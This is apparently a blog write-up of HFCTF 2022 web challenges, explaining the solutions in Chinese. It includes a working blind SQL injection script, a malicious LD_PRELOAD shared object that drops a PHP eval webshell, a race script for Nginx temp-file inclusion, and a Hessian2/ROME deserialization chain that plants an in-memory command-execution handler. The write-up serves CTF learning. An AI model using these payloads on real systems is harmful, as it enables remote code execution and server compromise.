虎符CTF2022赛后复现

Web

babysql

It is a pure sql injection challenge. Login any account to get flag. Have fun with mysql 8. There is something useful in /hint.md.

提示:regexp

hind.md内容如下

CREATE TABLE `auth` (
  `id` int NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;

这里给出了sql表结构,将表的默认编码改为了utf8mb4,并且设置了字符排序集COLLATE=utf8mb4_0900_ai_ci

MySQL 8.0 默认的是 utf8mb4_0900_ai_ci,属于 utf8mb4_unicode_ci 中的一种,具体含义如下

  • uft8mb4 表示用 UTF-8 编码方案,每个字符最多占4个字节
  • 0900 指的是 Unicode 校对算法版本。(Unicode归类算法是用于比较符合Unicode标准要求的两个Unicode字符串的方法)
  • ai指的是口音不敏感。也就是说,排序时e,è,é,ê和ë之间没有区别
  • ci表示不区分大小写。也就是说,排序时p和P之间没有区别
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
  id: number;
  username: string;
}

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}

@Injectable()
export class AuthService {
  constructor(private connectionProvider: ConnectionProvider) {}

  async validateUser(username: string, password: string): Promise<User> | null {
    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
    const user = rows[0];
    if (user && user.password === password) {
      // eslint-disable-next-line @typescript-eslint/no-unused-vars
      const { password, ...result } = user;
      return result;
    }
    return null;
  }
}

题目给出了后端的代码逻辑,由于我们的注入点在where后,由于题目在sq语句错误和账号密码错误时返回的状态码不同,可以考虑盲注。

SQL CASE WHEN语句

CASE语句有两种格式,分别如下

CASE [键] WHEN value1 THEN [返回值1]
            WHEN value2 THEN [返回值2]
            ...
            ELSE [返回值n] 
END
CASE WHEN [条件1] THEN [返回值1]
     WHEN [条件2] THEN [返回值2]
     ...
     ELSE [返回值n] 
END

#这种写法更加灵活

CASE语句只返回第一个符合条件的值,剩下的CASE部分将会被自动忽略。另外需要注意的是,THENELSE后的返回值的类型需相同。

可以构造Payload

||case`password`regexp'^{payload}'COLLATE`utf8mb4_0900_as_cs`when'1'then~0+1+''else'0'end||'

这里需要将COLLATE设置为utf8mb4_0900_as_cs(大小写敏感)。

首先通过regexp匹配password的字段,如果匹配成功返回1,否则返回~0+1+''。在mysql中,~0为最大整数,再加1就会造成数据溢出,从而sql语句错误。这就构造了整数溢出注入。

盲注脚本如下

 import requests
import string


res = ''
for _ in range(1,100):
    for i in string.ascii_letters +  string.digits:
        # if i in '!@$%^&_':
        #     i = '\\\\' + i
        print(_, i, f"^{res+i}")
        burp0_url = "http://47.107.231.226:38693/login"
        burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.107.231.226:38693", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.107.231.226:38693/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}
        burp0_data = {"password": "aaaaaa", "username": f"'||case`password`regexp'^{res+i}'COLLATE`utf8mb4_0900_as_cs`when'1'then~0+1+''else'0'end||'"}
        r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
        if "Internal server error" in r.text:
            res += i 
            print("[*]",res.replace("\\", ''), r.text)
            break
        if i == string.digits[-1]:
            print("注入失败")
            exit(0)

ezphp

写so文件包含Nginx缓存文件。题目给了如下代码

 <?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> 

我们能够控制环境变量,并且执行了system函数。由于PHP的system函数也是新启动一个进程来执行命令,所以我们可以考虑使用LD_PRELOAD劫持系统函数操作。

由于中间件是Nginx,我们可以使用LFI的那些奇技淫巧中的Nginx Temp File Include技巧。向Nginx发送一个大文件,Nginx会将其缓存为fastcgi临时文件,接着我们去/proc包含该临时文件即可。

LD_PRELOAD劫持

LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。其功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

__attribute__ 是 GNU C 里一种特殊的语法,语法格式为:__attribute__ ((attribute-list)),若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。

__attribute__((constructor)) 在加载共享库时就会运行。于是只要编写一个含__attribute__((constructor)) 函数的共享库,然后在PHP中设置LD_PRELOAD环境变量,并且有一个能 fork 一个子进程并触发加载共享库的函数被执行,那么就能执行任意代码。

首先制作一个恶意的so文件

//eval.c

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}

__attribute__ ((__constructor__))修饰的函数,会在系统执行main函数之前被调用。

将其编译为so文件,并向其填充垃圾字符,使其符合Nginx缓存要求

gcc -shared -fPIC evil.c -o 2.so
(dd if=/dev/zero bs=1c count=500000||tr '\0' 'c')>>2.so

竞争脚本如下

import _thread
import time
import requests

url = "http://192.168.43.103:49154/"
def tr1():
   while 1:
      files = open("2.so", 'rb')

      r=requests.post(url, data=files)
      if '429' in r.text:
          time.sleep(1)
def tr2(pid):
    while 1:
        for i in range(1,30):
            response = requests.get(url+"/index.php?env=LD_PRELOAD=/proc/{}/fd/../../{}/fd/{}".format(pid,pid,i))
            if '429' in response.text:
                time.sleep(1)
            print(str(i)+" Response body: %s" % response.content)
       # time.sleep(2)

#爆破进程
def tr3():
    for i in range(1,20):
        _thread.start_new_thread( tr2,(i,))

try:
   _thread.start_new_thread( tr1,())
   _thread.start_new_thread(tr3, ())
except:
   print("Error: 无法启动线程")

while 1:
   pass

ezchain

题目给出了jar包以及Dockerfile等文件

version: '2.4'
services:
  nginx:
    image: nginx:1.15
    ports:
      - "0.0.0.0:8090:80"
    restart: always
    volumes:
        - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
    networks:
      - internal_network
      - out_network
  web:
    build: ./
    restart: always
    volumes:
        - ./flag:/flag:ro
    networks:
      - internal_network
networks:
    internal_network:
        internal: true
        ipam:
            driver: default
    out_network:
        ipam:
            driver: default

docker-compose.yml中配置了internal: true,导致机器无法出网

jar文件主类如下

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.ezchain;

import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
import java.util.concurrent.Executors;

public class Index {
    public Index() {
    }

    public static void main(String[] args) throws Exception {
        System.out.println("server start");
        HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
        server.createContext("/", new Index.MyHandler());
        server.setExecutor(Executors.newCachedThreadPool());
        server.start();
    }

    static class MyHandler implements HttpHandler {
        MyHandler() {
        }

        public void handle(HttpExchange t) throws IOException {
            String query = t.getRequestURI().getQuery();
            Map<String, String> queryMap = this.queryToMap(query);
            String response = "Welcome to HFCTF 2022";
            if (queryMap != null) {
                String token = (String)queryMap.get("token");
                String secret = "HFCTF2022";
                if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
                    InputStream is = t.getRequestBody();

                    try {
                        Hessian2Input input = new Hessian2Input(is);
                        input.readObject();
                    } catch (Exception var9) {
                        response = "oops! something is wrong";
                    }
                } else {
                    response = "your token is wrong";
                }
            }

            t.sendResponseHeaders(200, (long)response.length());
            OutputStream os = t.getResponseBody();
            os.write(response.getBytes());
            os.close();
        }

        public Map<String, String> queryToMap(String query) {
            if (query == null) {
                return null;
            } else {
                Map<String, String> result = new HashMap();
                String[] var3 = query.split("&");
                int var4 = var3.length;

                for(int var5 = 0; var5 < var4; ++var5) {
                    String param = var3[var5];
                    String[] entry = param.split("=");
                    if (entry.length > 1) {
                        result.put(entry[0], entry[1]);
                    } else {
                        result.put(entry[0], "");
                    }
                }

                return result;
            }
        }
    }
}

Maven依赖如下

很明显,是利用Hessian2反序列化打ROME链。可以参考我之前的这一篇文章Java安全学习——Hessian反序列化漏洞

源码分析

中间件

首先是中间件,这里使用的是Java原生的com.sun.net.HttpServer

    public static void main(String[] args) throws Exception {
        System.out.println("server start");
        HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
        server.createContext("/", new Index.MyHandler());
        server.setExecutor(Executors.newCachedThreadPool());
        server.start();
    }

并且自己重写了一个MyHandler用于处理请求

绕过Hash判断

if (queryMap != null) {
                String token = (String)queryMap.get("token");
                String secret = "HFCTF2022";
                if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
                    InputStream is = t.getRequestBody();

                    try {
                        Hessian2Input input = new Hessian2Input(is);
                        input.readObject();
                    } catch (Exception var9) {
                        response = "oops! something is wrong";
                    }
                } else {
                    response = "your token is wrong";
                }
            }

这里要求我们找到一个和字符串HFCTF2022不相等但是Hashcode相等的字符串。在此之前我们先来看看String类的Hashcode是如何被计算出来的

private int hash; // Default to 0

public int hashCode() {
        int h = hash;
        if (h == 0 && value.length > 0) {
            char val[] = value;

            for (int i = 0; i < value.length; i++) {
                h = 31 * h + val[i];
            }
            hash = h;
        }
        return h;
    }

计算的关键就是for循环中的h = 31 * h + val[i],对字符串的每一个字符依次进行该运算。下面有几个例子

//97
"a".hashCode()

//97*31+98=3105
"ab".hahsCode()

//3105*31+99=96354
"abc".hashCode()

可以看到前面字符的hash值也会影响后续hash值,于是我们能够构造出如下等式

31*h1 + a[i] = 31*h2 = b[j]

(h1-h2)*31 = b[j]-a[i]

假如有字符串aa,我们能够很容易计算出与之hash相等的另一字符串bB

//bB
31*97 + 97 = 31*(97+1) + 97-31 = 31*98 + 66 = 3104

后续字符串的hash也相等

//true
System.out.println("bBDDD".hashCode()=="aaDDD".hashCode());

因此本题想要构造出与HFCTF2022的hash相等的另一字符串,我们只需要找到与字符HF的hash相等的字符即可

//HF=Ge
72*31+70 = 71*31+101

结果为GeCTF2022

构造二次反序列化

这里我们直接用文章中构造好的Hessian2反序列化Payload

package Hessian2;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

public class Hessian2_SignedObject {



    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("target/classes/Hessian2/shell_Handler.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setValue(badAttributeValueExpException,"val",toStringBean);

        //此处写法较为固定,用于初始化SignedObject类
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

        SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);

        ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);

        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);

        HashMap hashMap = makeMap(equalsBean, equalsBean);


        System.out.println(new String(Base64.getEncoder().encode(Hessian2_Serial(hashMap))));

    }

    public static byte[] Hessian2_Serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.writeObject(o);
        hessian2Output.flushBuffer();
        return baos.toByteArray();
    }

    public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(bais);
        Object o = hessian2Input.readObject();
        return o;
    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

由于题目不出网,无法获得回显,所以关键就是如何在Java原生中间件HttpServer写入内存马,获取回显。

获取回显

我们知道,一般获取回显的方式是通过获取response对象,并将命令执行的结果写入response对象中的。下面我们就来分析一下如何拿到response对象。

对于一般运行中的程序,我们可以通过Thread.currentThread()或者Thread.getThreads()获取其线程对象,并且可以在线程中找到各种关于运行所需的上下文对象。

response流
MyHandler

下面的工作就是实现一个恶意的handler,然后通过反射将其加载到内存中。

package Hessian2;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;

public class shell_Handler extends AbstractTranslet implements HttpHandler {

    static {
        //获取当前线程
        Object o = Thread.currentThread();
        try {
            Field groupField = o.getClass().getDeclaredField("group");
            groupField.setAccessible(true);
            Object group = groupField.get(o);

            Field threadsField = group.getClass().getDeclaredField("threads");
            threadsField.setAccessible(true);
            Object t = threadsField.get(group);

            Thread[] threads = (Thread[]) t;
            for (Thread thread : threads){
                if(thread.getName().equals("Thread-2")){
                    Field targetField = thread.getClass().getDeclaredField("target");
                    targetField.setAccessible(true);
                    Object target = targetField.get(thread);

                    Field thisField = target.getClass().getDeclaredField("this$0");
                    thisField.setAccessible(true);
                    Object this$0 = thisField.get(target);

                    Field contextsField = this$0.getClass().getDeclaredField("contexts");
                    contextsField.setAccessible(true);
                    Object contexts = contextsField.get(this$0);

                    Field listField = contexts.getClass().getDeclaredField("list");
                    listField.setAccessible(true);
                    Object lists = listField.get(contexts);
                    java.util.LinkedList linkedList = (java.util.LinkedList) lists;

                    Object list = linkedList.get(0);

                    Field handlerField = list.getClass().getDeclaredField("handler");
                    handlerField.setAccessible(true);
                    handlerField.set(list,new shell_Handler());
                }
            }
        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void handle(HttpExchange httpExchange) throws IOException {
        String resp = "Success!\n";
        String query = httpExchange.getRequestURI().getQuery();
        String[] entry = query.split("=");
        ByteArrayOutputStream bao = null;
        if(entry[0].equals("cmd")){
            InputStream inputStream = Runtime.getRuntime().exec(entry[1]).getInputStream();
            bao = new ByteArrayOutputStream();
            byte[] bytes = new byte[4096];
            int n = 0;
            while(-1 != (n = inputStream.read(bytes))){
                bao.write(bytes,0,n);
            }
        }
        resp += new String(bao.toByteArray());
        httpExchange.sendResponseHeaders(200, (long)resp.length());
        OutputStream os = httpExchange.getResponseBody();
        os.write(resp.getBytes());
        os.close();
    }
}

然后将生成的恶意类发送给服务器

此时handler已经被替换成我们恶意的handler了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇